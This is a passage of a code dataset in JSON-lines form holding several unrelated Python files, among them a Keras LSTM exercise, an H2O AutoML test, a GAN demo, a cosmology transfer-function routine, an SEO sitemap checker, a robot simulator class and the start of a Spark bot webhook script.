except:\n return [], [], [], []\n data = f.readlines()\n f.close()\n # Elimina le righe che cominciano con #\n dataclean = []\n for i in range(len(data)):\n if data[i][0] != '#':\n dataclean.append(data[i])\n # Leggi i valori\n banda = []\n l0 = []\n f0 = []\n n0 = []\n for i in range(len(dataclean)):\n valori = string.split(dataclean[i])\n banda.append(valori[0])\n try:\n l0.append(float(valori[1]))\n f0.append(float(valori[2]))\n n0.append(SRPConstants.Cspeed/l0[i])\n except:\n l0.append(SRPConstans.SRPMagErr)\n f0.append(SRPConstants.SRPMagErr)\n n0.append(SRPConstants.SRPMagErr)\n return banda, l0, f0, n0\n\n\n\ndef IsReadable (filename):\n return os.access(filename,os.R_OK)\n\n\n\n#def LeggiAbsFile (nomefile,l):\n # Leggi il file\n# try:\n# f = file(nomefile, \"r\")\n# except:\n# return [], [], [], []\n# data = f.readlines()\n# f.close()\n # Elimina le righe che cominciano con #\n# dataclean = []\n# for i in range(len(data)):\n# if (data[i][0] != ' ' or data[i][0] != '#') and len(data[i]) > 1:\n# dataclean.append(data[i])\n #legge i valori\n# ai = []\n# li = []\n# bi = []\n# ni = []\n# for i in range(len(dataclean)):\n# if string.split(dataclean[i])[0] == l:\n# valori = string.split(dataclean[i])\n# try:\n# ai.append(float(valori[2]))\n# li.append(float(valori[3]))\n# bi.append(float(valori[4]))\n# ni.append(float(valori[5]))\n# except:\n# ai.append(SRPConstants.SRPMagErr)\n# li.append(SRPConstants.SRPMagErr)\n# bi.append(SRPConstants.SRPMagErr)\n# ni.append(SRPConstants.SRPMagErr)\n# return ai, li, bi, ni\n\n\n\n\n# SRP pipe\n#if sys.version_info[0] >= 2 and sys.version_info[1] >= 6:\n# def SRPPipe (file):\n# f = subprocess.Popen(file,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE,shell=True,close_fds=True)\n# ky = f.stdout.read()\n# estatus = f.wait()\n# del f\n# if os.WEXITSTATUS (estatus):\n# return None\n# else:\n# return ky\n#else:\n# def SRPPipe (file):\n# f = popen2.Popen4(file)\n# ky = f.fromchild.read()\n# estatus = f.wait()\n# del f\n# if os.WEXITSTATUS (estatus):\n# return None\n# else:\n# return ky\n","sub_path":"python/SRPAstro/SRP/build/lib/SRP/SRPFiles.py","file_name":"SRPFiles.py","file_ext":"py","file_size_in_byte":7627,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"364441431","text":"import numpy as np\n\n#1. Data\nimport numpy as np\n\nx = np.array([\n [1, 2, 3], [2, 3, 4], [3, 4, 5], \n [4, 5, 6], [5, 6, 7], [6, 7, 8], \n [7, 8, 9], [8, 9, 10], [9, 10, 11], \n [10, 11, 12], [20, 30, 40], [30,40,50],\n [40, 50, 60]\n ])\ny = np.array([4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 50, 60, 70])\nx = x.reshape(13, 3, 1)\n\nprint(x.shape, y.shape)\n\n#2. Model\nfrom tensorflow.keras.models import Sequential\nfrom tensorflow.keras.layers import Dense, LSTM, Reshape\n\nmodel = Sequential()\nmodel.add(LSTM(32, input_shape=(3, 1), activation='relu', return_sequences=True))\nmodel.add(LSTM(32, input_shape=(3, 1), activation='relu'))\nmodel.add(Dense(256, activation='relu'))\nmodel.add(Dense(512, activation='relu'))\nmodel.add(Dense(256, activation='relu'))\nmodel.add(Dense(1))\n\nmodel.summary()\n\n#3. Compile, Train\nfrom tensorflow.keras.callbacks import EarlyStopping\nearly_stopper = EarlyStopping(monitor='loss', patience=15, mode='min')\n\nmodel.compile(loss='mse', optimizer='adam')\nmodel.fit(x, y, batch_size=1, epochs=499, verbose=2, callbacks=[early_stopper])\n\n#4. Evaluate, Predict\nx_pred = np.array([50,60,70])\nx_pred = x_pred.reshape(1,3,1)\nprint(model.evaluate(x,y))\nprint(model.predict(x_pred))\n# Execution result\n# if predict value > 75 n < 85 -> Good Tuning\n# 0.308273583650589\n# [[79.47302]]","sub_path":"keras/keras27_LSTM_return_Sequences.py","file_name":"keras27_LSTM_return_Sequences.py","file_ext":"py","file_size_in_byte":1325,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"375134100","text":"from smart_open import open\n\nfrom clustering_chat.tokenizer import load_sentencepiece\n\n\ndef main(tokenizer_path: str, train_data_path: str, out_path: str):\n tokenizer = load_sentencepiece(tokenizer_path)\n\n with open(out_path, mode='w', encoding='utf-8') as fp_out:\n with open(train_data_path, encoding='utf-8') as fp_in:\n for line in fp_in:\n tokens = tokenizer.EncodeAsPieces(line)\n out_line = ' '.join(tokens) + '\\n'\n fp_out.write(out_line)\n\n\nif __name__ == '__main__':\n main(\n tokenizer_path='resources/tokenizer/sentence_piece.model',\n train_data_path='resources/train.txt',\n out_path='resources/doc2vec_corpus.txt'\n )\n","sub_path":"scripts/make_doc2vec_corpus.py","file_name":"make_doc2vec_corpus.py","file_ext":"py","file_size_in_byte":718,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"43748965","text":"from __future__ import print_function\nimport sys, os\nsys.path.insert(1, os.path.join(\"..\",\"..\",\"..\",\"..\"))\nimport h2o\nfrom tests import pyunit_utils as pu\nfrom h2o.automl import H2OAutoML\n\n\ndef import_dataset():\n df = h2o.import_file(path=pu.locate(\"smalldata/extdata/australia.csv\"))\n fr = df.split_frame(ratios=[.8,.1])\n target = \"runoffnew\"\n return pu.ns(target=target, train=fr[0], valid=fr[1], test=fr[2])\n \n \ndef australia_automl():\n ds = import_dataset()\n aml = H2OAutoML(max_models=2, stopping_rounds=3, stopping_tolerance=0.001)\n\n print(\"AutoML (Regression) run with x not provided with train, valid, and test\")\n aml.train(y=ds.target, training_frame=ds.train,validation_frame=ds.valid, leaderboard_frame=ds.test)\n print(aml.leader)\n print(aml.leaderboard)\n assert set(aml.leaderboard.columns) == set([\"model_id\", \"mean_residual_deviance\",\"rmse\", \"mse\", \"mae\", \"rmsle\"])\n\n\ndef test_workaround_for_distribution():\n try:\n h2o.rapids(\"(setproperty \\\"{}\\\" \\\"{}\\\")\".format(\"sys.ai.h2o.automl.algo_parameters.all.enabled\", \"true\"))\n ds = import_dataset()\n aml = H2OAutoML(project_name=\"py_test\",\n algo_parameters=dict(\n distribution='poisson',\n family='poisson',\n ),\n exclude_algos=['StackedEnsemble'],\n max_runtime_secs=60,\n seed=1)\n aml.train(y=ds.target, training_frame=ds.train)\n model_names = [aml.leaderboard[i, 0] for i in range(0, (aml.leaderboard.nrows))]\n for mn in model_names:\n m = h2o.get_model(mn)\n dist = m.params['distribution'] if 'distribution' in m.params else m.params['family'] if 'family' in m.params else None\n print(\"{}: distribution = {}\".format(mn, dist))\n except:\n h2o.rapids(\"(setproperty \\\"{}\\\" \\\"{}\\\")\".format(\"sys.ai.h2o.algos.evaluate_auto_model_parameters\", \"false\"))\n\n\npu.run_tests([\n australia_automl,\n test_workaround_for_distribution,\n])\n","sub_path":"h2o-py/tests/testdir_algos/automl/regression/pyunit_automl_australia.py","file_name":"pyunit_automl_australia.py","file_ext":"py","file_size_in_byte":2080,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"177580902","text":"\"\"\"\n===========================================\nGAN\nGenerative Adversarial Networks\nIJ Goodfellow,J Pouget-Abadie,M Mirza,B Xu,D Warde-Farley,S Ozair,A Courville,Y Bengio\nPublihsed in 2014\n\n===========================================\n\"\"\"\n\n# Author: Muyao Wang , Xinyang Liu \n# License: BSD-3-Clause\n\nimport argparse\nimport os\nimport numpy as np\nimport torchvision.transforms as transforms\nfrom torchvision.utils import save_image\nfrom torch.utils.data import DataLoader\nfrom torchvision import datasets\nfrom pydpm._model._gan import GAN\nimport torch\n\nos.makedirs(\"images\", exist_ok=True)\nparser = argparse.ArgumentParser()\nparser.add_argument(\"--n_epochs\", type=int, default=200, help=\"number of epochs of training\")\nparser.add_argument(\"--batch_size\", type=int, default=128, help=\"size of the batches\")\nparser.add_argument(\"--lr\", type=float, default=0.0002, help=\"adam: learning rate\")\nparser.add_argument(\"--b1\", type=float, default=0.5, help=\"adam: decay of first order momentum of gradient\")\nparser.add_argument(\"--b2\", type=float, default=0.999, help=\"adam: decay of first order momentum of gradient\")\nparser.add_argument(\"--g_latent_dim\", type=int, default=100, help=\"generator dimensionality of the latent space\")\nparser.add_argument(\"--z_dim\", type=int, default=100, help=\"generator dimensionality of the z latent space\")\nparser.add_argument(\"--d_latent_dim\", type=int, default=100, help=\"discriminator dimensionality of the latent space\")\nparser.add_argument(\"--img_size\", type=int, default=28, help=\"size of each image dimension\")\nparser.add_argument(\"--channels\", type=int, default=1, help=\"number of image channels\")\nparser.add_argument(\"--sample_interval\", type=int, default=800, help=\"interval betwen image samples\")\nargs = parser.parse_args()\n\n\n# MNIST Dataset\nos.makedirs(\"../data/mnist\", exist_ok=True)\ntransform = transforms.Compose([transforms.Resize(args.img_size), transforms.ToTensor(), transforms.Normalize([0.5], [0.5])])\ntrain_dataset = datasets.MNIST(root='../data/mnist/', train=True, transform=transform, download=True)\ndataloader = torch.utils.data.DataLoader(dataset=train_dataset, batch_size=args.batch_size, shuffle=True)\n\n# Initialize generator and discriminator\nimg_shape = (args.channels, args.img_size, args.img_size)\nmodel = GAN(img_shape, g_latent_dim=args.g_latent_dim, z_dim=args.z_dim, d_latent_dim=args.d_latent_dim, device='cuda:0')\n\n# Optimizers\nmodel_opt_G = torch.optim.Adam(model.generator.parameters(), lr=args.lr, betas=(args.b1, args.b2))\nmodel_opt_D = torch.optim.Adam(model.discriminator.parameters(), lr=args.lr, betas=(args.b1, args.b2))\n\n# Training\nfor epoch in range(args.n_epochs):\n model.train_one_epoch(model_opt_G=model_opt_G, model_opt_D=model_opt_D, dataloader=dataloader, sample_interval=args.sample_interval, epoch=epoch, n_epochs=args.n_epochs)\n\nmodel.save()\nmodel.load('./save_models/GAN.pth')\nprint(model)\nprint('sample image,please wait!')\nsave_image(model.sample(64), \"./images/GAN_images.png\", nrow=8, normalize=True)\nprint('complete!!!')","sub_path":"pydpm/example/GAN_Demo.py","file_name":"GAN_Demo.py","file_ext":"py","file_size_in_byte":3072,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"142725166","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Jun 9 12:33:28 2016\nThis python routine is for determinig the transfer function. For more details on transfer function,\nsee Bunn(2006)\nNote: this code only works for l=2. For the generalized version for any l value, use TransFuncGen.py\n@author: arsalanadil\n\"\"\"\nimport numpy as np, scipy.special as special, scipy.interpolate as interpolate, scipy.integrate as integrate, time\nimport matplotlib.pyplot as plt\n\nimport numpy as np, scipy.special as special, scipy.interpolate as interpolate, scipy.integrate as integrate, time\nimport matplotlib.pyplot as plt\nfrom scipy.integrate import dblquad, quad\n\n\nqlist = np.loadtxt(\"qList1.csv\", delimiter = ',')\n\nzq = qlist[:,0]\nqq = qlist[:,1]\n\nnlist = np.loadtxt(\"nList1.csv\", delimiter = ',')\nzn = nlist[:,0]\nnn = nlist[:,1]#array of eta values; zn is corresponding z vals\n\nrec = -3.11293 #Conformal time at recombination\n\n#Spherical bessel function of second order\ndef j2(k):\n #bessel, der = special.sph_jn(2, k)#There's nothing wrong with this, \n #return bessel[2]\n \n if(k==0):\n return 0\n else:\n j2 = -((3*k*np.cos(k) + (-3 + k**2)*np.sin(k))/k**3)\n return j2\n\"\"\"\nConverts redshift(z) value to it's corresponding conformal time(eta or N) value\n\"\"\"\ndef ZtoN(z):\n n = np.interp(z, zn, nn)\n return n\n\ndef delta(k,z):\n \n \"\"\" \n l = 50*k\n if(l<50):\n l = 50\n \n zp = np.arange(l).astype(float) * (100 -z)/(l)+z#this needs to confirmed\n \"\"\"\n \n n1 = ZtoN(z)\n SW = (j2(k*(n1-rec)))#This is the Sachs-Wolfe term\n \n zp1 = np.arange(z,11,0.01)#create a list of zprimes to sample the functino to use Simpson's rule (numerical integration)\n zp2 = np.arange(10.9,100,1)#lower redshifts require \"finer\" sampling compared to higher ones\n zp = np.concatenate([zp1,zp2])\n \n nprime = np.interp(zp,zn,nn)#niterpolate \"nlist\" which converts Z to Eta.\n temp = np.zeros(len(nprime))\n \n for x in range(len(nprime)):\n temp[x] = j2(k*(n1-nprime[x])) \n \n temp1 = temp*np.interp(zp,zq,qq) #Here, temp is the bessel funciton (evaluated at different values\n #of eta_prime and the second multiplicative term is derivative of \n #the \"matter perturbation growth\", i.e. the growth function D, divded by scale factor a (as a function of z)\n \n ISW = -6*integrate.simps(temp1, zp)#minus sign is there because our qlist is positive.\n \n transFunc = -4*np.pi/3 * (SW + ISW)#note that the -ve sign is due to (-1j)**2 \n \n return transFunc, SW, ISW\n\n\"\"\"\ndef powSp(k):\n if k==0:\n return 0\n else:\n return 1/k**3\n\n\nplt.figure()\nplt.title(\"Transfer Func\") \nplt.plot([delta(k,0.4) for k in np.arange(0,40,.1)])\n#plt.plot([delta(3,k,0).imag for k in np.arange(0,10,0.1)])\nplt.show()\n\"\"\" \n\n\"\"\"\ntemp = lambda k: delta(k,2)[1]\n#a = integrate.quad(temp, 0, 10)\n#print(a)\nplt.figure()\nplt.title(\"SW vs ISW\") \nplt.plot([temp(k) for k in range(0,50)])\nplt.show()\n\ntemp1 = lambda k: delta(k,2)[0]\n\n#plt.figure()\n#plt.title(\"ISW\")\nplt.plot([temp1(k) for k in range(0,50)])\nplt.show() \n\"\"\"\n\"\"\"\ntemp = lambda k: delta(k,1)[0]\ntemp1 = lambda k: delta(k,1)[1]\ntemp2 = lambda k: delta(k,1)[2]\nplt.figure()\nplt.plot([temp(k) for k in range(100)], label = 'SW')\nplt.plot([temp1(k) for k in range(100)], label = 'ISW')\nplt.plot([temp2(k) for k in range(100)], label = 'Transfer Function (w/o normalization)')\nplt.title(\"SW, ISW, and Transfer Function\")\nplt.legend()\nplt.show()\n\"\"\"\n\"\"\" \nd = np.zeros(100)\nfor j in range(100):\n d[j] = delta(j,1)\nplt.figure(10)\nplt.plot(d)\nplt.show()\n\"\"\"\n\"\"\"\nn = 20\ntable = np.zeros(n)\nfor t in range(1,n):\n t0 = time.time()\n [delta(k,1) for k in range(10*t,(n+1)*t)] \n t1 = time.time()\n table[t] = t1-t0\nplt.figure(2)\nplt.plot(np.arange(0,10*n,10),table)\nplt.show()\n\"\"\"\n#print(\"Computational time = \", (t1-t0))","sub_path":"TransferFunction.py","file_name":"TransferFunction.py","file_ext":"py","file_size_in_byte":3856,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"580424261","text":"from django.core.exceptions import ImproperlyConfigured\nfrom django.test import override_settings, TestCase\n\nfrom tidings.compat import range, reduce\nfrom tidings.utils import collate, import_from_setting\n\n\nclass MergeTests(TestCase):\n \"\"\"Unit tests for collate()\"\"\"\n\n def test_default(self):\n \"\"\"Test with the default `key` function.\"\"\"\n iterables = [range(4), range(7), range(3, 6)]\n self.assertEqual(sorted(reduce(list.__add__,\n [list(it) for it in iterables])),\n list(collate(*iterables)))\n\n def test_key(self):\n \"\"\"Test using a custom `key` function.\"\"\"\n iterables = [range(5, 0, -1), range(4, 0, -1)]\n self.assertEqual(list(sorted(reduce(list.__add__,\n [list(it) for it in iterables]),\n reverse=True)),\n list(collate(*iterables, key=lambda x: -x)))\n\n def test_empty(self):\n \"\"\"Be nice if passed an empty list of iterables.\"\"\"\n self.assertEqual([], list(collate()))\n\n def test_one(self):\n \"\"\"Work when only 1 iterable is passed.\"\"\"\n self.assertEqual([0, 1], list(collate(range(2))))\n\n def test_reverse(self):\n \"\"\"Test the `reverse` kwarg.\"\"\"\n iterables = [range(4, 0, -1), range(7, 0, -1), range(3, 6, -1)]\n self.assertEqual(sorted(reduce(list.__add__,\n [list(it) for it in iterables]),\n reverse=True),\n list(collate(*iterables, reverse=True)))\n\n\nclass ImportedFromSettingTests(TestCase):\n \"\"\"Tests for import_from_setting() and _imported_symbol()\"\"\"\n\n @override_settings(TIDINGS_MODEL_BASE='django.db.models.Model')\n def test_success(self):\n from django.db.models import Model\n assert import_from_setting('TIDINGS_MODEL_BASE', 'blah') == Model\n\n @override_settings(\n TIDINGS_MODEL_BASE='hummahummanookanookanonexistent.thing')\n def test_module_missing(self):\n self.assertRaises(ImproperlyConfigured,\n import_from_setting, 'TIDINGS_MODEL_BASE', 'blah')\n\n @override_settings(TIDINGS_MODEL_BASE='hummahummanookanookanonexistent')\n def test_symbol_missing(self):\n self.assertRaises(ImproperlyConfigured,\n import_from_setting, 'TIDINGS_MODEL_BASE', 'blah')\n","sub_path":"tests/test_utils.py","file_name":"test_utils.py","file_ext":"py","file_size_in_byte":2435,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"122704938","text":"#!/usr/bin/env python\nfrom concurrent.futures import ThreadPoolExecutor\nfrom csv import writer\nimport sys\nfrom urllib.parse import urlparse\n\nimport bs4\nimport requests\nfrom tqdm import tqdm\n\nOK_CODES = [200]\nMAX_TTFB = 180\nTITLE_MIN_LENGTH = 20\nTITLE_MAX_LENGTH = 70\nDESCRIPTION_MIN_LENGTH = 70\nDESCRIPTION_MAX_LENGTH = 200\n\nchecks = {\n 'len_title': lambda t: TITLE_MIN_LENGTH < len(t) < TITLE_MAX_LENGTH,\n 'len_desc': lambda d: DESCRIPTION_MIN_LENGTH < len(d) < DESCRIPTION_MAX_LENGTH,\n 'ttfb': lambda t: t < MAX_TTFB,\n}\n\n\nclass Seo:\n \"\"\"SEO tools\"\"\"\n\n @staticmethod\n def _get_response(url):\n return requests.get(url)\n\n @staticmethod\n def _get_page(response):\n return bs4.BeautifulSoup(response.text, 'lxml')\n\n def _check(self, url):\n response = self._get_response(url)\n page = self._get_page(response)\n\n p_url = urlparse(url)\n path = f'{p_url.path}?{p_url.query}' if p_url.query else p_url.path\n\n title = page.find('title').text\n desc = page.find('meta', {'name': 'description'}).get('content')\n\n return {\n 'path': path,\n 'code': int(response.status_code in OK_CODES),\n 'ttfb': int(checks['ttfb'](response.elapsed.total_seconds() * 1000)),\n 'title': int(checks['len_title'](title)),\n 'description': int(checks['len_desc'](desc)),\n }\n\n def check(self, sitemap_url, t=4, o=''):\n \"\"\"Performs base technical SEO check for urls from sitemap\n\n sitemap_url -- url pointing to sitemap.xml\n t -- number of threads\n Keep in mind: when more threads,\n ttfb may be larger than MAX_TTFB and test will fail\n \"\"\"\n sys.stderr.write('Check sitemap...\\n')\n xml = self._get_page(self._get_response(sitemap_url))\n urls = [a.text for a in xml.find_all('loc')]\n total = len(urls)\n sys.stderr.write(f'found {total} urls\\n')\n\n results = []\n with ThreadPoolExecutor(max_workers=t) as ex:\n for r in tqdm(ex.map(self._check, urls), total=total, unit='url'):\n results.append(r)\n\n fail = 0\n success = 0\n for r in results:\n for c in r.keys():\n if c != 'path':\n b = r[c]\n if b:\n success += 1\n else:\n fail += 1\n\n sys.stderr.write(f'Success: {success}, fail: {fail}.\\n')\n if o:\n with open(o, 'w') as output:\n self._write_csv(results, output)\n elif o == '-':\n output = sys.stdout\n self._write_csv(results, output)\n\n @staticmethod\n def _write_csv(results, output):\n w = writer(output)\n w.writerow(results[0].keys())\n for r in results:\n w.writerow(r.values())\n","sub_path":"modules/seo.py","file_name":"seo.py","file_ext":"py","file_size_in_byte":2854,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"23879747","text":"#\n# (c) PySimiam Team 2014\n#\n# Contact person: Tim Fuchs \n#\n# This class was implemented as a weekly programming excercise\n# of the 'Control of Mobile Robots' course by Magnus Egerstedt.\n#\nimport numpy as np\nfrom pose import Pose\nfrom sensor import SonarSensor, IRSensor\nfrom math import ceil, exp, sin, cos, tan, pi, radians\nfrom quickbot import QuickBot\nimport sim_server_helpers\n\nclass x80H_IRSensor(IRSensor):\n \"\"\"Inherits from the proximity sensor class. Performs calculations specific to the khepera3 for its characterized proximity sensors\"\"\"\n\n def __init__(self,pose,robot):\n # values copied from SimIAm\n IRSensor.__init__(self, pose, robot, (0.1, 0.8, np.radians(6)))\n\n\nclass x80H_SonarSensor(SonarSensor):\n\n def __init__(self,pose,robot):\n # values copied from SimIAm\n x,y,fi = pose\n SonarSensor.__init__(self, pose, robot, (0.05, 2.54, fi))\n self.sensor_undetected_obstacle_color = 0x6680CC99\n self.sensor_detected_obstacle_color = 0x663300FF\n self.set_color(self.sensor_undetected_obstacle_color)\n\n\nclass x80H(QuickBot):\n \"\"\"Inherts for the simobject--->robot class for behavior specific to the Khepera3\"\"\" \n def __init__(self, pose, color = 0xFFFFFF):\n QuickBot.__init__(self, pose, color)\n\n self.set_shape_base_plate(np.array([[ -0.085, 0.2, 1],\n [ 0.085, 0.2, 1],\n\n [ 0.075 + 0.115*cos(radians(80)), 0.003+ 0.2*sin(radians(80)), 1],\n [ 0.065 + 0.115*cos(radians(70)), 0.009 + 0.2*sin(radians(70)), 1],\n [ 0.060 + 0.115*cos(radians(60)), 0.015+0.2*sin(radians(60)), 1],\n [ 0.085 + 0.115*cos(radians(50)), 0.2*sin(radians(50)), 1],\n [ 0.085 + 0.115*cos(radians(40)), 0.2*sin(radians(40)), 1],\n [ 0.085 + 0.115*cos(radians(30)), 0.2*sin(radians(30)), 1],\n [ 0.085 + 0.115*cos(radians(20)), 0.2*sin(radians(20)), 1],\n [ 0.085 + 0.115*cos(radians(10)), 0.2*sin(radians(10)), 1],\n\n [ 0.2, 0.0000, 1],\n\n [ 0.085 + 0.115*cos(radians(10)), -0.2*sin(radians(10)), 1],\n [ 0.085 + 0.115*cos(radians(20)), -0.2*sin(radians(20)), 1],\n [ 0.085 + 0.115*cos(radians(30)), -0.2*sin(radians(30)), 1],\n [ 0.085 + 0.115*cos(radians(40)), -0.2*sin(radians(40)), 1],\n [ 0.085 + 0.115*cos(radians(50)), -0.2*sin(radians(50)), 1],\n [ 0.060 + 0.115*cos(radians(60)), -0.015 - 0.2*sin(radians(60)), 1],\n [ 0.065 + 0.115*cos(radians(70)), -0.009 - 0.2*sin(radians(70)), 1],\n [ 0.075 + 0.115*cos(radians(80)), -0.003 - 0.2*sin(radians(80)), 1],\n\n [ 0.085,-0.2, 1],\n [ -0.085,-0.2, 1],\n\n [-0.2,-0.061, 1],\n [-0.2, 0.061, 1],\n\n ]))\n\n self.set_shape_upper_plate(np.array([\n [ 0.02, 0.15, 1],\n [ 0.085, 0.15, 1],\n [ 0.085, 0.2, 1],\n\n [ 0.075 + 0.115*cos(radians(80)), 0.003+ 0.2*sin(radians(80)), 1],\n [ 0.065 + 0.115*cos(radians(70)), 0.009 + 0.2*sin(radians(70)), 1],\n [ 0.060 + 0.115*cos(radians(60)), 0.015+0.2*sin(radians(60)), 1],\n [ 0.085 + 0.115*cos(radians(50)), 0.2*sin(radians(50)), 1],\n [ 0.085 + 0.115*cos(radians(40)), 0.2*sin(radians(40)), 1],\n [ 0.085 + 0.115*cos(radians(30)), 0.2*sin(radians(30)), 1],\n [ 0.085 + 0.115*cos(radians(20)), 0.2*sin(radians(20)), 1],\n [ 0.085 + 0.115*cos(radians(10)), 0.2*sin(radians(10)), 1],\n\n [ 0.2, 0.0000, 1],\n\n [ 0.085 + 0.115*cos(radians(10)), -0.2*sin(radians(10)), 1],\n [ 0.085 + 0.115*cos(radians(20)), -0.2*sin(radians(20)), 1],\n [ 0.085 + 0.115*cos(radians(30)), -0.2*sin(radians(30)), 1],\n [ 0.085 + 0.115*cos(radians(40)), -0.2*sin(radians(40)), 1],\n [ 0.085 + 0.115*cos(radians(50)), -0.2*sin(radians(50)), 1],\n [ 0.060 + 0.115*cos(radians(60)), -0.015 - 0.2*sin(radians(60)), 1],\n [ 0.065 + 0.115*cos(radians(70)), -0.009 - 0.2*sin(radians(70)), 1],\n [ 0.075 + 0.115*cos(radians(80)), -0.003 - 0.2*sin(radians(80)), 1],\n\n [ 0.085,-0.2, 1],\n [ 0.085,-0.15, 1],\n [ 0.02,-0.15, 1],\n ]))\n\n\n\n self.set_shape_left_wheel(np.array([[ 0.083, 0.19, 1],\n [ 0.083, 0.154, 1],\n [-0.081, 0.154, 1],\n [-0.081, 0.19, 1]]))\n\n\n self.set_shape_right_wheel(np.array([[ 0.083, -0.19, 1],\n [ 0.083, -0.154, 1],\n [-0.081, -0.154, 1],\n [-0.081, -0.19, 1]]))\n\n\n self.set_ir_sensor_poses([\n Pose( 0.085 + 0.115*cos(radians(30)), 0.2*sin(radians(30)), np.radians(30)),\n #Pose( 0.085 + 0.115*cos(radians(12)), 0.2*sin(radians(12)), np.radians(12)),\n Pose( -0.2, 0.0, np.radians(180)),\n Pose( 0.085 + 0.115*cos(radians(12)), -0.2*sin(radians(12)), np.radians(-12)),\n Pose(0.085 + 0.115*cos(radians(30)), -0.2*sin(radians(30)), np.radians(-30)),\n Pose( 0,-0.2, np.radians(-90)),\n Pose( 0, 0.2, np.radians(90)),\n ],x80H_IRSensor)\n\n self.set_sonar_sensor_poses([\n Pose(0.085 + 0.115*cos(radians(45)), 0.2*sin(radians(45)), np.radians(45)),\n Pose( 0.2, 0.0, np.radians(0)),\n Pose(0.085 + 0.115*cos(radians(45)), -0.2*sin(radians(45)), np.radians(-45)),\n\n #The next 3 sensors are just for good looks, we don't take into account the readings\n Pose(0.085 + 0.115*cos(radians(45)), 0.2*sin(radians(45)), np.radians(45)),\n Pose( 0.2, 0.0, np.radians(0)),\n Pose(0.085 + 0.115*cos(radians(45)), -0.2*sin(radians(45)), np.radians(-45)),\n\n ],x80H_SonarSensor)\n\n\n self.base_plate_color = 0x66A5A5A5\n self.upper_plate_color = 0xF6A5A5A5\n # these were the original parameters\n self.info.wheels.radius = 0.0825\n self.info.wheels.base_length = 0.26 # distance between the wheels\n self.info.wheels.ticks_per_rev = 1200\n self.info.wheels.max_encoder_buffer_value = 32767\n self.info.wheels.perimeter = self.info.wheels.radius * 2 * pi\n\n self.info.wheels.max_velocity_ms = 1 #m/s\n self.info.wheels.max_velocity = 60 * self.info.wheels.max_velocity_ms / ( 2 * pi * self.info.wheels.radius) #RPM\n #self.info.wheels.min_velocity = 2*pi*30/60 # 30 RPM\n\n self.info.ir_sensors.rmax = 0.8\n self.info.ir_sensors.rmin = 0.1\n\n self.info.sonar_sensors.rmax = 2.54\n self.info.sonar_sensors.rmin = 0.05\n\n\nif __name__ == \"__main__\":\n # JP limits\n #v = max(min(v,0.314),-0.3148);\n #w = max(min(w,2.276),-2.2763);\n # Real limits\n k = x80H(Pose(0,0,0))\n k.set_wheel_speeds(1000,1000)\n print(k.diff2uni(k.get_wheel_speeds()))\n k.set_wheel_speeds(1000,-1000)\n print(k.diff2uni(k.get_wheel_speeds()))\n # 0.341 and 7.7\n","sub_path":"robots/x80h.py","file_name":"x80h.py","file_ext":"py","file_size_in_byte":8855,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"127747854","text":"import sys\nfrom read_file import get_matrices\nfrom multiply import multiply, prettyprint, verify_condition\n\n\ndef main():\n\n # Check for argument count, refuse to operate if invalid number of args given.\n if len(sys.argv) != 2 :\n\n print(f'Program takes 1 command line argument, {len(sys.argv) -1} given.')\n\n sys.exit(1)\n\n _file = str(sys.argv[1])\n\n # Assign input file to variable \n try:\n matrices = get_matrices(_file)\n except ValueError:\n print('Check the input file.')\n sys.exit(1)\n except FileNotFoundError:\n print('File not found.')\n sys.exit(1)\n\n matrix_A = matrices[0]\n matrix_B = matrices[1]\n\n # Verify multiplicability, prettyprint result.\n if verify_condition(matrix_A, matrix_B) == True:\n prettyprint(multiply(matrix_A, matrix_B))\n else:\n print('Matrices are not multipliable.')\n\n\nif __name__ == '__main__':\n main()\n\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":928,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"448033839","text":"#\n# Hantzley Tauckoor \n# October 2017\n#\n# This sample Spark bot application uses ngrok to facilitate a webhook to Spark\n#\n#\n# REQUIREMENTS:\n# Flask python module\n# ngrok - https://ngrok.com/\n# Spark account with Bot created\n# Spark webhook created with bot token\n# settings.py file, you can modify and rename settings_template.py\n#\n# WARNING:\n# This script is meant for educational purposes only.\n# Any use of these scripts and tools is at\n# your own risk. There is no guarantee that\n# they have been through thorough testing in a\n# comparable environment and we are not\n# responsible for any damage or data loss\n# incurred with their use.\n#\n\n\nimport requests\nfrom flask import Flask, request, session, redirect\nimport json\nimport settings\nimport logging\nlogging.basicConfig(level=logging.DEBUG)\n\nfrom settings import bot_id, bot_token, ngrok_url, webhook_id, webhook_name\n\n# get ngrok tunnels information\ndef get_ngrok_tunnels(ngrok_url):\n headers = {'cache-control': \"no-cache\"}\n response = requests.request(\"GET\", ngrok_url, headers=headers)\n tunnels = response.json()\n return {\n 'public_http_url' : tunnels['tunnels'][0]['public_url'],\n 'public_https_url' : tunnels['tunnels'][1]['public_url']\n }\n\n# set spark headers\ndef set_headers(access_token):\n accessToken_hdr = 'Bearer ' + access_token\n spark_header = {\n 'Authorization':accessToken_hdr,\n 'Content-Type':'application/json; charset=utf-8',\n }\n return (spark_header)\n\n# update webhook with updated ngrok tunnel information\ndef update_webhook (the_headers,webhook_name,webhook_id,targetUrl):\n url = \"https://api.ciscospark.com/v1/webhooks/\" + webhook_id\n payload = \"{\\n\\t\\\"name\\\": \\\"\" + webhook_name + \"\\\",\\n\\t\\\"targetUrl\\\": \\\"\" + targetUrl + \"\\\"\\n}\"\n response = requests.request(\"PUT\", url, data=payload, headers=the_headers)\n return response.status_code\n\n# posts a message to the room\ndef 